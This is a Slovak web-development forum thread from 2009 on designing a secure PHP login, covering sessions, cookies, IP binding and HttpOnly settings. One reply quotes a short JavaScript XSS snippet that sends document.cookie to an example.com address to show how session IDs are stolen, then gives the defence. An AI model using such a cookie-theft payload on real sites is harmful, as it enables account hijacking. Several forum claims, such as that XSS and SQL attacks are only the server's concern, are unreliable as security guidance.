Obsah fóra
PravidláRegistrovaťPrihlásenie




Odpovedať na tému [ Príspevkov: 29 ] 
AutorSpráva
Offline

Užívateľ
Užívateľ
Bezpecne prihlasenie

Registrovaný: 29.12.05
Prihlásený: 14.08.18
Príspevky: 539
Témy: 62
Bydlisko: 127.0.0.1 (...
Príspevok NapísalOffline : 01.05.2009 1:45

Zdravim.
Mam otazku ohladom prihlasovania uzivatelov.
Jednoduchsie prihlasovanie ovladam, teraz mam zaujem o mozno zlozitejsie ale hlavne bezpecne prihlasenie. Neviem, ci mam pouzit Sessiony, alebo Cookies, popripade kombinaciu a akym stylom pouzit/kontrolovat a ako treba porovnavat IP adresu. Dalej neviem na co treba brat ohlad na ochranu proti XSS/SQL utokom (a ake opatrenia treba na skriptoch a formoch). A nakoniec ma zaujma ci treba pouzit unixstamp a porovnania nejakeho minuleho casu s aktualnym na zistenie platnosti. Viem, ze na vsetko toto treba brat ohlad a pouzit to (pokial poznate este nejaky prvok sem s nim) , ale neviem do akej miery a akym stylom. Jednotlive tieto casti zvladam, ale ma zaujima ake je optimalna kombinacia vsetkych tychto (a dalsich) prvkov
Prihlasovanie chcem normalne email-heslo cez form, ziadne http auth.
Diky







_________________
"Kde končí hiphop, začína IQ."
Offline

Skúsený užívateľ
Skúsený užívateľ
Obrázok užívateľa

Registrovaný: 13.11.07
Prihlásený: 20.08.16
Príspevky: 1702
Témy: 0
Príspevok NapísalOffline : 01.05.2009 2:05

Na prihlasovanie na 99,99% tie session použiješ. Otázne je len to, akým spôsobom si prenesieš session id (či využiješ cookie, alebo niečo iné). ;)

Každopádne najskôr by si si mal niečo o tom nájsť a prečítať si to (napr. aj na tomto fóre).


Offline

Užívateľ
Užívateľ
Bezpecne prihlasenie

Registrovaný: 10.02.08
Prihlásený: 15.05.17
Príspevky: 2264
Témy: 48
Bydlisko: Nitra
Príspevok NapísalOffline : 01.05.2009 10:08

Po spravnom prihlaseni ulozis do session povedzme nick a premennu prihlaseny s hodnotou ano. Kazdy script ti bude zacinat overenim, ci sa v session nachadza nick a prihlaseny s hodnotou ano, ked nie, ma dany uzivatel smolu. Toto bohate staci. Cookies mozes vyuzit max. na to, aby sa do policok nick a heslo pri logine automaticky vypisalo nick aj heslo, resp. aby sa uzivatel rovno prihlasoval, pokial je na rovnakom pocitaci, tak ako je to tu na fore :)

Co sa tyka IP, mozes ju dakde logovat, do dajakej tabulky v DB, ale je to fakt len na overenie, dneska moze mat kazdy IP aku ste :D S utokmi ty nic nenarobis, to je vec zabezpecenia serveru :)







_________________
WYSIWYMGIYRRLAAGW: What You See Is What You Might Get If You’re Really Really Lucky And All Goes Well.
Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 21.02.07
Prihlásený: 21.02.10
Príspevky: 3984
Témy: 96
Príspevok NapísalOffline : 01.05.2009 11:23

No tak IP kontrolovať je hlúposť. Cookies pri prihlásení ako takom tiež nevyužiješ (iba pri automatickom).

A teraz, do session si budeš zaznamenávať každý neúspešný pokus, pri istom počte mu zakážeš prihlasovanie (a môžeš uložiť aj do cookies). Po úspešnom prihlásení dáš: session_regenerate_id(), a uložíš si aj identifikátori do session aby si vedel či je prihlásený ...


Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 04.04.07
Prihlásený: 27.06.21
Príspevky: 532
Témy: 35
Bydlisko: Bratislava
Príspevok NapísalOffline : 01.05.2009 11:56

to kde si prisiel na taku somarinu, ze IP netreba kontrolovat? hovori ti nieco session stealing?







_________________
CPU: AMD Phenom II 940 QUAD X4 BE AM2+, chladic: Arctic Cooling Freezer 64 Pro, RAM: 4GB DDR2 800MHz PC6400, MB: M2N-E SLI, VGA: RX 4870 GAINWARD HD4870 1GB, HDD: WD 1TB, Zdroj: CORSAIR 750W TX
Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 21.01.07
Prihlásený: 29.03.20
Príspevky: 660
Témy: 53
Príspevok NapísalOffline : 01.05.2009 12:33

Kód:
A teraz, do session si budeš zaznamenávať každý neúspešný pokus, pri istom počte mu zakážeš prihlasovanie (a môžeš uložiť aj do cookies).


Ukladať veci do session nie je bezpečné. Podobne, ako píše djsulo.


Offline

Užívateľ
Užívateľ
Bezpecne prihlasenie

Registrovaný: 26.11.06
Prihlásený: 22.01.24
Príspevky: 4118
Témy: 319
Bydlisko: HE/BA
Príspevok NapísalOffline : 01.05.2009 12:43

Kde sa ukladajú sessions? Na serveri alebo na klientovi?


Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 21.01.07
Prihlásený: 29.03.20
Príspevky: 660
Témy: 53
Príspevok NapísalOffline : 01.05.2009 12:49

Na server, lenže pokiaľ ide o server, na ktorý sa pripájajú viacerí užívateľa, môže to predstavovať riziko.


Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 26.02.08
Prihlásený: 24.05.13
Príspevky: 372
Témy: 66
Bydlisko: Nové Zámky
Príspevok NapísalOffline : 01.05.2009 12:52

ake? ako sa to da zneuzit?


Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 21.01.07
Prihlásený: 29.03.20
Príspevky: 660
Témy: 53
Príspevok NapísalOffline : 01.05.2009 12:54

Niekde som čítal, že pokiaľ sa používa pre session na jednom serveri pre všetkých používateľov jeden dočasný priečinok, každý z užívateľov má prístup do tohto priečinka, a tak môže prečítať aj iné sessions.


Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 04.04.07
Prihlásený: 27.06.21
Príspevky: 532
Témy: 35
Bydlisko: Bratislava
Príspevok NapísalOffline : 01.05.2009 13:03

na niektorych serveroch, neviem ci na vsetkych, session idcka sa ukladaju do jedneho foldera, spolu s udajmi ktore session obsahuje.







_________________
CPU: AMD Phenom II 940 QUAD X4 BE AM2+, chladic: Arctic Cooling Freezer 64 Pro, RAM: 4GB DDR2 800MHz PC6400, MB: M2N-E SLI, VGA: RX 4870 GAINWARD HD4870 1GB, HDD: WD 1TB, Zdroj: CORSAIR 750W TX
Offline

Skúsený užívateľ
Skúsený užívateľ
Obrázok užívateľa

Registrovaný: 13.11.07
Prihlásený: 20.08.16
Príspevky: 1702
Témy: 0
Príspevok NapísalOffline : 01.05.2009 15:05

pepek92 píše:
Niekde som čítal, že pokiaľ sa používa pre session na jednom serveri pre všetkých používateľov jeden dočasný priečinok, každý z užívateľov má prístup do tohto priečinka, a tak môže prečítať aj iné sessions.
Session si môžeš ukladať napr. do DB (alebo aj ako súbory, nemusíš používať "základný" spôsob, čo je v Php).

@Svolo Cookies môžeš využiť na ukladanie session id (a nie len na ukladanie mena...). ;)


Offline

Užívateľ
Užívateľ
Bezpecne prihlasenie

Registrovaný: 26.11.06
Prihlásený: 22.01.24
Príspevky: 4118
Témy: 319
Bydlisko: HE/BA
Príspevok NapísalOffline : 01.05.2009 15:19

Ako zistím session ID?


Offline

Skúsený užívateľ
Skúsený užívateľ
Bezpecne prihlasenie

Registrovaný: 09.07.08
Prihlásený: 17.01.15
Príspevky: 1585
Témy: 96
Príspevok NapísalOffline : 01.05.2009 15:38

Rád by som sa zapojil do vašej debaty. Neviem, kde začať, tak bude písať ako mi prsty padnú na klávesnicu.
Ako funguje session (session.save_handler = files) - Na serveri sa ukladajú súbory so serializovanými premennými zo $_SESSION. Klientovi pošleme cookie (cez hlavičku), v ktorom má session id.
Keďže je to cookie, za bežných okolností sa dá ukradnúť cez obyčajné xss, príklad takého "útoku":
Kód:
a=document.createElement("img");
a.src="http://www.example.com/abc.php?"+document.cookie

Toto sa dá ošetriť nastavením v php.ini
Kód:
session.cookie_httponly = true

Ukladať session do db neodporúčam. Pokiaľ to nie je prepracované dostatočne, tak to spôsobí zas ďalšie problémy, možno ešte väčšie.
Čo tu niekto spomínal to, že k tomu súboru má prístup každý užívateľ (pokiaľ nie je nastavené inak), problém môže byť ak máte rovnaký hosting ako útočník. Môže si jednoducho nastaviť v cookies sessionid získané z vašej stránky a robiť tam zmeny.
Ale nemalo by to vadiť, pokiaľ paranoidne preverujete každú hodnotu, či už z cookies, session, post, get, files alebo z databázy. Pretože nikdy neviete, kto sa vám nabúra do ktorej vrstvy v systéme.

Ja robím ešte takú jednu somarinku, celkom to aj funguje, že v session si uložím premennú, v ktorej je hash z ip adresy, pevne daného stringu, http_host, user_agent a neviem čoho ešte všetkého.
Čiže ak niekto aj ukradne sessionid, tak mu to nepomôže, pretože nebude mať ten správny z týchto v podstate nemenných premenných.
Jeden problém, čo mi napadá je, že keď niekto surfuje na notebooku, zavre notebook a pripojí sa niekde inde, už bude mať inú IP, čiže mu zruším session...


Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 26.02.08
Prihlásený: 24.05.13
Príspevky: 372
Témy: 66
Bydlisko: Nové Zámky
Príspevok NapísalOffline : 10.05.2009 15:25

mno vyuzijem tento topic...chcem sa spytat...rozmysalm ze si budem nahodne generovat nejaky retazec...budem ho ukladat do tabulky k userovi...lenze otazka je ci prenasat retazec cez GET cookie alebo session....samozrejme pri overovani by som neoveroval iba ten retazec ale aj ine veci ako ip, cas kedy bol retazec vytvoreny (hash casu) napr prehliadac atd...len neviem kade prenasat ten retazec co by ste odporucali?


Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 21.02.07
Prihlásený: 21.02.10
Príspevky: 3984
Témy: 96
Príspevok NapísalOffline : 10.05.2009 19:04

djsulo píše:
to kde si prisiel na taku somarinu, ze IP netreba kontrolovat? hovori ti nieco session stealing?

Ty si kde prišiel na takú somarinu, že IP treba kontrolovať? (rovnako priblbá otázka). Dnes sa využívajú aj dynamické IPčky ... IP sa ti môže zmeniť kedykoľvek. Čiže je to neefektívne - nemá to zmysel ... malo by to zmysel keby boli IP statické.

pepek92: Nevrav :) Oveľa bezpečnejšie ako GET, POST či COOKIE

chrono: do DB ... nuž zaujímavý názor. DB je najpomalšia časť stránky. Určite, si nebudem ukladať session do DB z pretože:
1, musel by som vymyslieť fakt dobrý spôsob, ako to tam nejako logicky uložiť
2, nabúrať sa do DB je jednoduchšie ako nabúrať sa do SESSION
3, session pri istých podmienkách je skoro neukradnteľné (píšem skoro lebo nič nie je 100%)


Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 21.01.07
Prihlásený: 29.03.20
Príspevky: 660
Témy: 53
Príspevok NapísalOffline : 10.05.2009 19:10

Ak sa ti niekto nabúra do DB, tak či je alebo nie je tam session je už v podstate jedno.


Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 04.04.07
Prihlásený: 27.06.21
Príspevky: 532
Témy: 35
Bydlisko: Bratislava
Príspevok NapísalOffline : 10.05.2009 19:28

tominator: vidim ze ti to nic nehovori... myslim ze je najmensi problem, ked sa niekomu zmeni IP, tak sa prihlasi este raz, ako ked niekto odchyti jeho session a zneuzije ju, nemyslis?







_________________
CPU: AMD Phenom II 940 QUAD X4 BE AM2+, chladic: Arctic Cooling Freezer 64 Pro, RAM: 4GB DDR2 800MHz PC6400, MB: M2N-E SLI, VGA: RX 4870 GAINWARD HD4870 1GB, HDD: WD 1TB, Zdroj: CORSAIR 750W TX
Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 21.02.07
Prihlásený: 21.02.10
Príspevky: 3984
Témy: 96
Príspevok NapísalOffline : 10.05.2009 20:14

pepek92: to je pravda :)
djsulo: nie nič mi to nevraví ... myslím že to ani nič podstatné neznamená, lebo session je od IP nezávislé


Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 04.04.07
Prihlásený: 27.06.21
Príspevky: 532
Témy: 35
Bydlisko: Bratislava
Príspevok NapísalOffline : 10.05.2009 20:16

tak si najprv zisti o com hovorim







_________________
CPU: AMD Phenom II 940 QUAD X4 BE AM2+, chladic: Arctic Cooling Freezer 64 Pro, RAM: 4GB DDR2 800MHz PC6400, MB: M2N-E SLI, VGA: RX 4870 GAINWARD HD4870 1GB, HDD: WD 1TB, Zdroj: CORSAIR 750W TX
Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 21.02.07
Prihlásený: 21.02.10
Príspevky: 3984
Témy: 96
Príspevok NapísalOffline : 10.05.2009 20:21

djsulo píše:
tak si najprv zisti o com hovorim

Ty si zisti o čom hovoríš -> session stealing (voľný preklad: kradnutie session). Existuje niekoľko spôsobov, najpoužívanejší je XSS. Takže miesto všeobecného pomenovania skús použiť niečo konkrétne :)


Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 04.04.07
Prihlásený: 27.06.21
Príspevky: 532
Témy: 35
Bydlisko: Bratislava
Príspevok NapísalOffline : 10.05.2009 20:24

je to nato, ak ti niekto odchyti session a budes mat v nej ulozenu aj IP klienta, tak ju porovnas ci sedi, ak ti niekto ukradne session, v 99% pripadoch bude mat inu IP a session destroynes, uz je to jasne?







_________________
CPU: AMD Phenom II 940 QUAD X4 BE AM2+, chladic: Arctic Cooling Freezer 64 Pro, RAM: 4GB DDR2 800MHz PC6400, MB: M2N-E SLI, VGA: RX 4870 GAINWARD HD4870 1GB, HDD: WD 1TB, Zdroj: CORSAIR 750W TX
Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 26.02.08
Prihlásený: 24.05.13
Príspevky: 372
Témy: 66
Bydlisko: Nové Zámky
Príspevok NapísalOffline : 11.05.2009 18:18

mno moholi by ste reagovat aj na moju otazku :)


Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 21.02.07
Prihlásený: 21.02.10
Príspevky: 3984
Témy: 96
Príspevok NapísalOffline : 11.05.2009 19:03

Blackdevil píše:
ake? ako sa to da zneuzit?

Samozrejme ... veď keď získam tvoje session ID, tak sa budem tváriť ako ty -> t.j. budem prihlásený ako ty -> t.z. -> budem môcž čítať, mazať, upravovať


Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 26.02.08
Prihlásený: 24.05.13
Príspevky: 372
Témy: 66
Bydlisko: Nové Zámky
Príspevok NapísalOffline : 11.05.2009 19:10

myslel som na prvej strane posledny prispevok :) na tamten ste mi odpovedali :)


Offline

Užívateľ
Užívateľ
Bezpecne prihlasenie

Registrovaný: 27.11.08
Prihlásený: 30.01.20
Príspevky: 630
Témy: 98
Bydlisko: Veľký Krtíš...
Príspevok NapísalOffline : 11.05.2009 20:42

Blackdevil píše:
myslel som na prvej strane posledny prispevok :) na tamten ste mi odpovedali :)

Tominator píše:
Ty si kde prišiel na takú somarinu, že IP treba kontrolovať? (rovnako priblbá otázka). Dnes sa využívajú aj dynamické IPčky ... IP sa ti môže zmeniť kedykoľvek. Čiže je to neefektívne - nemá to zmysel ... malo by to zmysel keby boli IP statické.

pepek92: Nevrav :) Oveľa bezpečnejšie ako GET, POST či COOKIE


chrono: do DB ... nuž zaujímavý názor. DB je najpomalšia časť stránky. Určite, si nebudem ukladať session do DB z pretože:
1, musel by som vymyslieť fakt dobrý spôsob, ako to tam nejako logicky uložiť
2, nabúrať sa do DB je jednoduchšie ako nabúrať sa do SESSION
3, session pri istých podmienkách je skoro neukradnteľné (píšem skoro lebo nič nie je 100%)


Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 21.02.07
Prihlásený: 21.02.10
Príspevky: 3984
Témy: 96
Príspevok NapísalOffline : 11.05.2009 22:05

Blackdevil píše:
mno vyuzijem tento topic...chcem sa spytat...rozmysalm ze si budem nahodne generovat nejaky retazec...budem ho ukladat do tabulky k userovi...lenze otazka je ci prenasat retazec cez GET cookie alebo session....samozrejme pri overovani by som neoveroval iba ten retazec ale aj ine veci ako ip, cas kedy bol retazec vytvoreny (hash casu) napr prehliadac atd...len neviem kade prenasat ten retazec co by ste odporucali?

Ako som už povedal, a NickVK prepojil, session je vhodná voľba.


Offline

Užívateľ
Užívateľ
Bezpecne prihlasenie

Registrovaný: 26.11.06
Prihlásený: 22.01.24
Príspevky: 4118
Témy: 319
Bydlisko: HE/BA
Príspevok NapísalOffline : 12.05.2009 17:58

Tominator, úprimne pochybujem, že je jednoduchšie nabúrať sa do DB ako si ukradnúť SESSION.


Offline

Čestný člen
Čestný člen
Bezpecne prihlasenie

Registrovaný: 17.10.06
Prihlásený: 08.01.11
Príspevky: 1752
Témy: 17
Príspevok NapísalOffline : 12.05.2009 21:54

flety to zalezi od konkretneho pripadu. ak je web spraveny na chuja, obe veci su trivialne.







_________________
A Real Programmer might or might not know his wife's name. He does, however, know the entire ASCII code table.
Odpovedať na tému [ Príspevkov: 29 ] 


Podobné témy

 Témy  Odpovede  Zobrazenia  Posledný príspevok 
V tomto fóre nie sú ďalšie neprečítané témy. Bezpečné taktnutie

v Biosy a ladenie výkonu

10

621

15.03.2009 21:48

shark777 Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Bezpečné WIFI

v Siete

13

558

25.10.2010 21:14

Daevid Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Bezpecne include ?

v PHP, ASP

2

460

20.03.2012 19:05

ewil Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Bezpecne odstranenie hardweru

v Operačné systémy Microsoft

8

640

09.07.2009 14:30

GeeDeeI Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. bezpečné vyčistenie disku

v Pevné disky a radiče

2

712

25.02.2011 20:52

Tech Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Bezpecne instalovanie aplikacii

v Ostatné programy

2

426

27.12.2010 16:23

Blackshadow Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. bezpecne odstranenie usb

v Pevné disky a radiče

0

408

21.10.2013 11:41

MyschoVIP Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. zariadenie mozno bezpecne odstranit

v Ostatné

1

515

05.01.2010 21:46

SilverSurfer Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Nezobrazuje bezpečné odstránenie hardvéru.

v Ostatné

2

1683

16.12.2009 13:15

hnida01 Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Externe HDD - bezpečné vytiahnutie

v Ostatné zariadenia

6

589

01.03.2017 21:44

4040 Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. ake je to bezpecne?

v Bezpečnosť a firewally

3

869

07.05.2006 18:59

Alyx_Vance Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. nefunguje mi bezpecne odstranenie USB

v Ostatné zariadenia

3

2199

08.02.2008 18:09

9tommy9 Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Ako bezpecne zrusit email konto.

v Služby a webstránky

14

1084

27.11.2013 23:06

Kraliček Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Disk e Sata - bezpečné odpojenie

v Pevné disky a radiče

7

634

18.01.2011 17:27

Xiao Zhuänjiä Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. ako bezpecne nainstalovat linux + win

v Operačné systémy Unix a Linux

17

2448

23.05.2006 10:04

lamerko Zobrazenie posledných príspevkov

V tomto fóre nie sú ďalšie neprečítané témy. Teraz môžete bezpečne vypnúť počítač!

v Operačné systémy Microsoft

3

666

18.10.2008 14:55

dsljohn Zobrazenie posledných príspevkov


Nemôžete zakladať nové témy v tomto fóre
Nemôžete odpovedať na témy v tomto fóre
Nemôžete upravovať svoje príspevky v tomto fóre
Nemôžete mazať svoje príspevky v tomto fóre

Skočiť na:  

Powered by phpBB Jarvis © 2005 - 2024 PCforum, webhosting by WebSupport, secured by GeoTrust, edited by JanoF
Ako väčšina webových stránok aj my používame cookies. Zotrvaním na webovej stránke súhlasíte, že ich môžeme používať.
Všeobecné podmienky, spracovanie osobných údajov a pravidlá fóra